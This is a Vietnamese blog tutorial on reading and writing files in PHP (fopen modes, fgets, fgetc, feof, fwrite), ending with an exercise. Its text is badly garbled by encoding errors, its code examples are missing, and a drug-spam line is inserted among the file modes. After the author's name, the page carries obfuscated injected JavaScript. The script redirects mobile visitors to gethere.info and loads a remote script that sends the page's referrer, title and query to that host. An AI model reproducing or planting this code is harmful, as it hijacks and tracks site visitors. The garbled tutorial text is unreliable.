[PHP nA?ng cao]LAi??m viai??i??c trA?n file trong PHP

0
9

ChAi??o cA?c ba??n!

HA?m nay tA?i sa?? giai??i??i thiai??i??u vai??i??i cA?c ba??n mai??i??t trong cA?c kai??? thua?i??t lAi??m viai??i??c Ai???i??ai???c ?i??a chuai??i??ng nha??t vAi?? mang la??i khA? nhiai???u hiai??i??u qua?? trong PHP, Ai??A? lAi?? cA?ch lAi??m viai??i??c trA?n file trong PHP.

PHP cung ca??p cho chA?ng ta cA?c hAi??m cho phAi??p chA?ng ta xai??i?? lA? dai??? liai??i??u trai??i??c tia??p thA?ng qua quA? trAi??nh nha?i??n vAi?? Ai??ai???c nai??i??i dung trA?n mai??i??t file dai??? liai??i??u. LAi??m viai??i??c vai??i??i file vAi?? th?i?? mai???c cho phAi??p chA?ng ta cA? thai??? tA?y bia??n nai??i??i dung cai??i??a file, vAi?? cA? thai??? ta??o, edit vAi?? sai??i?? dai???ng cA?c file khA?c nh?i?? XML, HTML, CSSai??i??vvai??i??. MAi?? khA?ng ca?i??n pha??i l?i??u vAi??o c?? sai??Y dai??? liai??i??u (database). Viai??i??c nAi??y lAi??m cho website trai??Y nA?n tA?y bia??n vAi?? tinh ta?? h??n, khA?ng ca?i??n pha??i lA?c nAi??o cAi??ng phai??? thuai??i??c vAi??o database.

Viai??i??c thao tA?c mai??Y, Ai??ai???c, ghi, Ai??A?ng file nAi??y cAi??ng cA? A? nghAi??a tua?i??n tai??i?? nh?i?? ba??n Ai??ang lAi??m viai??i??c trai??i??c tia??p trA?n 1 file dai??? liai??i??u thai??i??c thai???

1. A?A?ng/mai??Y 1 file trA?n PHP:

  • A?ai??? mai??Y 1 file ta sai??i?? dai???ng cA? phA?p sau: fopen(“A??i??ai???ng da?i??n”, thuai??i??c tAi??nh).
  • Trong Ai??A? A??i??ai???ng da?i??n chAi??nh lAi?? Ai???i??ai???ng da?i??n tai??i??i file ca?i??n mai??Y.
  • Thuai??i??c tAi??nh bao gai??i??m cA?c quyai???n ha??n cho phAi??p thao tA?c trA?n file Ai??A? nh?i?? tha?? nAi??o.
    • CA?c thuai??i??c tAi??nh c?? ba??n :
      • rAi?? Ai??: Chai??i?? Ai??ai???c
      • rAi??+ Ai??: A?ai???c vAi?? ghi
      • wAi?? : Chai??i?? ghi
      • w+ : Na??u file tai??i??n ta??i thAi?? nai??i??i dung cAi?? sa?? bai??i?? xA?a vAi?? thay ba?i??ng nai??i??i dung mai??i??i. Ng?i??ai???c la??i sa?? ta??o file mai??i??i.
      • clomid no rx, clomid reviews.

      • aAi?? : append ai??i?? chai??i?? ghi. Na??u file tai??i??n ta??i sa?? ghi tia??p vAi??o pha?i??n d?i??ai??i??i cai??i??a nai??i??i dung, na??u file khA?ng tai??i??n ta??i sa?? ta??o mai??i??i.
      • a+Ai?? : append ai??i?? Ai??ai???c vAi?? ghi. Na??u file tai??i??n ta??i sa?? ghi tia??p vAi??o pha?i??n d?i??ai??i??i cai??i??a nai??i??i dung, na??u file khA?ng tai??i??n ta??i sa?? ta??o mai??i??i.
      • bAi??Ai?? : mai??Y d?i??ai??i??i da??ng file binary(hai??i?? nhai??i?? phA?n).

2. Ai??A?ai???c vAi?? ghi file trong PHP:

1. A?ai???c 1 file trong PHP:

CA? nhiai???u hAi??nh thai??i??c hai??i?? trai??? nh?i??ng hiai??i??n nay 2 hAi??nh thai??i??c phai??i?? bia??n nha??t va?i??n lAi?? Ai??ai???c file theo tai??i??ng dA?ng vAi?? Ai??ai???c file theo tai??i??ng kA? tai??i??.

– A?ai???c file theo tai??i??ng dA?ng: fgets(file ca?i??n mai??Y).

VAi?? dai???:

 

– A?ai???c file theo tai??i??ng kA? tai??i??: fgetc(file ca?i??nmai??Y).

Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? VAi?? dai???:

 

Quy trAi??nh Ai??ai???c sa?? diai??i??n ra theo tai??i??ng yA?u ca?i??u cai??i??a cA? phA?p sai??i?? dai???ng. Nh?i??ng sa?? cA? sai??i?? rAi??ng buai??i??c bai??Yi viai??i??c kiai???m tra Ai??A? Ai??a??n cuai??i??i file ch?i??a ?.

ai??z Ai??A?y chA?ng ta dA?ng cA? phA?p sau: feof(file ca?i??n mai??Y)

VAi?? dai???:

 

2. Ghi 1 file trong PHP:

CA? phA?p: fwrite(“file ca?i??n mai??Y”, “Nai??i??i dung ca?i??n ghi vAi??o file”)

VAi?? dai???:

 

Viai??i??c sai??i?? dai???ng file mai??i??t cA?ch thAi??nh tha??o sa?? giA?p ba??n dai??i?? dAi??ng va?i??n hAi??nh cA?c ai??i??ng dai???ng mang quy mA? vai??i??a vAi?? nhai??? nh?i??: website nhiai???u ngA?n ngai???, bai??i?? Ai??a??m,ai??i??vAi?? ca?? nhai???ng cA?ng nghai??i?? web mai??i??i nh?i?? XML mai??i??t cA?ch dai??i?? dAi??ng.

BAi??i ta?i??p:

  1. Ta??o 1 file ai???a.txtai??? vai??i??i nai??i??i dung ai???hoc lam web pro tai hocweb.com.vnai??? dai??i??a vAi??o cA?c kia??n thai??i??c Ai??A? sai??i?? dai???ng ai??Y trA?n.
  2. Mai??Y file ai???a.txtai??? Ai??A? Ai???i??ai???c ta??o vAi??o ghi vAi??o cuai??i??i file nai??i??i dung sau ai???hocweb.com.vn la su lua chon thong minhai???. VAi?? thai??i??c hiai??i??n yA?u ca?i??u sau:
    1. A?ai???c theo tai??i??ng dA?ng.
    2. A?ai???c theo tai??i??ng kA? tai??i??. Na??u tai??i??n ta??i kAi?? tai??i?? ai???.ai??i?? hA?y thay tha?? nA? ba?i??ng ai???chamai??i??.
  3. Ghi nha?i??n la??i cA?ch thai??i??c code cha??y vAi?? pha??n hai??i??i cho tA?i bia??t code cai??i??a cA?c ba??n cha??y nh?i?? tha?? nAi??o (l?i??u A? cA?ch Ai??ai???c theo dA?ng vAi??o Ai??ai???c theo kA? tai??i??) code cha??y Ai??A?ng hay sai? (NA?u cA?u tra?? lai???i na??u bia??t).

E@st_St@r

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

It's only fair to share...Share on FacebookShare on Google+Tweet about this on TwitterShare on LinkedIn

LEAVE A REPLY

Please enter your comment!
Please enter your name here

*